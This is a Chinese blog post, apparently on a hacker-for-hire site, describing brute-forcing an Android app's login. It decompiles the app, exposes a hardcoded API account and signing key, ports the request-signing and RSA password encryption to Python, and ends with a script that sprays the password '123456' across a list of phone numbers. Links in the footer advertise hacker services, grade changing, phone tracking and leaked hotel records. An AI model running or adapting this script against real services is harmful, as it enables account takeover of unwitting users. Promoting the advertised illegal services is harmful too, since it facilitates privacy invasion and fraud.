当前位置:首页 > 24小时接单的黑客免费 > 正文内容

记一次APP登录爆破

admin3个月前 (08-21)24小时接单的黑客免费200

 

使用工具
  • 安卓12
  • jadx-gui
  •  

    抓取登录HTTP请求包
  • 安装burp证书,并抓取登录请求。
  • POST /loginUser HTTP/1.1 Host: api.xxxx.xxxxx.com apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
  • 分析登录请求包中需要五个参数
  • apiaccount
  • sign
  • enc
  • phone
  • timestamp
  •  

    分析参数 apiaccount

    搜索关键词

    此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

    phone

    手机号

    timestamp
  • 此值为当前的时间戳String.valueOf(System.currentTimeMillis())
  • 改写为python代码
  • import time timestamp = str(int(time.time()*1000)) sign

    public static O d(String str, String str2) { HashMap hashMap = new HashMap(); hashMap.put("phone", str); hashMap.put("enc", e(str2)); return c.g.b.f.b.c(f.h(), a(hashMap)); } private static Map<String, String> a(Map<String, String> map) { HashMap hashMap = new HashMap(); hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516"); hashMap.put("timestamp", String.valueOf(System.currentTimeMillis())); TreeMap treeMap = new TreeMap(); treeMap.putAll(hashMap); if (map != null) { treeMap.putAll(map); } hashMap.put("sign", a((SortedMap<String, String>) treeMap)); if (map != null) { hashMap.putAll(map); } return hashMap; } private static String a(SortedMap<String, String> sortedMap) { StringBuffer stringBuffer = new StringBuffer(); for (Map.Entry<String, String> entry : sortedMap.entrySet()) { if (!TextUtils.isEmpty(entry.getValue())) { stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&"); } } stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b"); return D.d(stringBuffer.toString()).toUpperCase(); } private static byte[] a(byte[] bArr, String str) { if (bArr != null && bArr.length > 0) { try { MessageDigest messageDigest = MessageDigest.getInstance(str); messageDigest.update(bArr); return messageDigest.digest(); } catch (NoSuchAlgorithmException e2) { e2.printStackTrace(); } } return null; } private static String q(byte[] bArr) { int length; if (bArr != null && (length = bArr.length) > 0) { char[] cArr = new char[length << 1]; int i2 = 0; for (int i3 = 0; i3 < length; i3++) { int i4 = i2 + 1; char[] cArr2 = f10685a; cArr[i2] = cArr2[(bArr[i3] >> 4) & 15]; i2 = i4 + 1; cArr[i4] = cArr2[bArr[i3] & 15]; } return new String(cArr); } return ""; }

    sign参数组合

    sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b' enc

    str = phone str2 = password

    大致流程

  • 输入密码
  • 密码 + 随机10位salt
  • "password=" + "密码" + "&salt=" + salt
  • 使用此函数操作密钥
  • private static byte[] b(String str) throws UnsupportedEncodingException { int i2; byte b2; int i3; byte b3; int i4; byte b4; int i5; byte b5; StringBuffer stringBuffer = new StringBuffer(); byte[] bytes = str.getBytes("US-ASCII"); int length = bytes.length; int i6 = 0; while (i6 < length) { while (true) { i2 = i6 + 1; b2 = f16023b[bytes[i6]]; if (i2 >= length || b2 != -1) { break; } i6 = i2; } if (b2 == -1) { break; } while (true) { i3 = i2 + 1; b3 = f16023b[bytes[i2]]; if (i3 >= length || b3 != -1) { break; } i2 = i3; } if (b3 == -1) { break; } stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4))); while (true) { i4 = i3 + 1; byte b6 = bytes[i3]; if (b6 == 61) { return stringBuffer.toString().getBytes("iso8859-1"); } b4 = f16023b[b6]; if (i4 >= length || b4 != -1) { break; } i3 = i4; } if (b4 == -1) { break; } stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2))); while (true) { i5 = i4 + 1; byte b7 = bytes[i4]; if (b7 == 61) { return stringBuffer.toString().getBytes("iso8859-1"); } b5 = f16023b[b7]; if (i5 >= length || b5 != -1) { break; } i4 = i5; } if (b5 == -1) { break; } stringBuffer.append((char) (b5 | ((b4 & 3) << 6))); i6 = i5; } return stringBuffer.toString().getBytes("iso8859-1"); }
  • RSA加密
  • Cipher cipher = Cipher.getInstance("RSA"); cipher.init(1, publicKey); return cipher.doFinal(bArr);
  • 使用此函数处理加密后的结果
  • public static String a(byte[] bArr) { StringBuffer stringBuffer = new StringBuffer(); int length = bArr.length; int i2 = 0; while (true) { if (i2 >= length) { break; } int i3 = i2 + 1; int i4 = bArr[i2] & 255; if (i3 == length) { stringBuffer.append(f16022a[i4 >>> 2]); stringBuffer.append(f16022a[(i4 & 3) << 4]); stringBuffer.append("=="); break; } int i5 = i3 + 1; int i6 = bArr[i3] & 255; if (i5 == length) { stringBuffer.append(f16022a[i4 >>> 2]); stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]); stringBuffer.append(f16022a[(i6 & 15) << 2]); stringBuffer.append("="); break; } int i7 = i5 + 1; int i8 = bArr[i5] & 255; stringBuffer.append(f16022a[i4 >>> 2]); stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]); stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]); stringBuffer.append(f16022a[i8 & 63]); i2 = i7; } return stringBuffer.toString(); }

     

    改写为python代码 def main(phone,password): url = "https://xx.com/loginUser" sign = "" enc = "" tmtp = str(int(time.time() * 1000)) salt = "1234567890" # 随机生成的10个数字 enc_ori = "password=" + password + "&salt=" + salt enc = gen_enc(enc_ori) sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b' sign = gen_sign(sign_ori) print(quote_plus(enc)) data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp res = requests.post(url=url, data=data) print(res.text)

     

    加载字典爆破 def main(phone, password): res = requests.post(url=url, headers=headers, data=data) print(res.text) if __name__ == "__main__": with open("phone","r") as f: for i in f.readlines(): main(i.strip(),"123456")

    扫描二维码推送至手机访问。

    版权声明:本文由admin发布,如需转载请注明出处。

    本文链接:http://8008200958.com/article/7884.html

    分享给朋友:

    “记一次APP登录爆破” 的相关文章

    网络安全宣传周系列动漫&amp;amp;mdash;&amp;amp;mdash;邮件安全篇

    中国邮箱网讯 9月12日消息 电子邮件,人们几乎天天发、天天收。网络信息化时代,电子邮件已经成为常用通信工具,而且也成了企业内部主要的沟通工具。   然而,邮件安全问题也日益突出,逐渐成为电信诈骗、勒索软件攻击的重灾区。如何让邮件更安全?下面这组漫画,大家可以学习一下。   ■传输加密  ...

    先办事黑客在线接单

    当自己的遇到一些问题的时候,可能很多人都会想到找黑客,那么找一个在做事情的时候,可能很多人也会出现上当受骗的情况,那么在对于这样的黑盒应该如何来操作呢?应该找怎么样能够找到靠谱的黑客呢?1.靠谱的黑客去哪找呢?现如今黑客他们也会有自己属于自己的平台或者是网站,那么在找寻这样的黑客的时候,一定要找到专...

    先办事后付款的黑客&amp;amp;mdash;免费接单黑客QQ

      股民在选择证券配资平台时,都希望自己的资金有安全保障,目前市面上的证券配资平台很多,但大多良莠不齐。投资人在选择证券配资平台时需要认真考察,否则就不要轻易做出决定,如果证券平台不安全,那么很有可能本金都会搭进去。那么证券配资平台安全吗?证券配资平台可信吗?   证券配资平台安全吗   投资人想...

    输入对方手机直接定位

    其实在定位找人的时候,他是需要很多种方法的,无论是手机号,身份证号或者是其他的方法,当然针对于不同的方式,那么查询到的结果可能也会有一定的出入,一般的情况下,如果想要定位的话,那么通过手机号码来定位是比较准确的,因为现如今都是手机不离手,如果通过这样的方式定位,就能够准确的确定位置。1.通过手机号定...

    靠谱的改成绩的黑客QQ

    每年都会有所报道,就是一些明星或者是一些知名人士,他们的学历都是造假的,那么当然他们会找一些靠谱的人来帮助他们改学历,改成绩。那么这样的靠谱人士应该去哪里找呢?1.靠谱的改成绩的黑客去哪儿找呢?如果想要改自己的成绩,或者是当大学考试的时候成绩不合格的时候,那么很多人可能就想要入侵一些网站来将自己的成...

    如家汉庭等酒店2000w开房数据查询(在线查开放房网址)

    如家汉庭等酒店2000w开房数据查询(在线查开放房网址)1月26日,有信息称,若不是产生了“2000W开房数据泄漏”事务,许多网友本能够过得不错的一年。2013年10月以来,如家/寒庭等旅店客户纪录因第三方存储毛病泄漏,很终演化为让片面人表情惨白的“2000W开房数据泄漏”事务。到当前为止,仍有20...

    发表评论

    访客

    ◎欢迎参与讨论,请在这里发表您的看法和观点。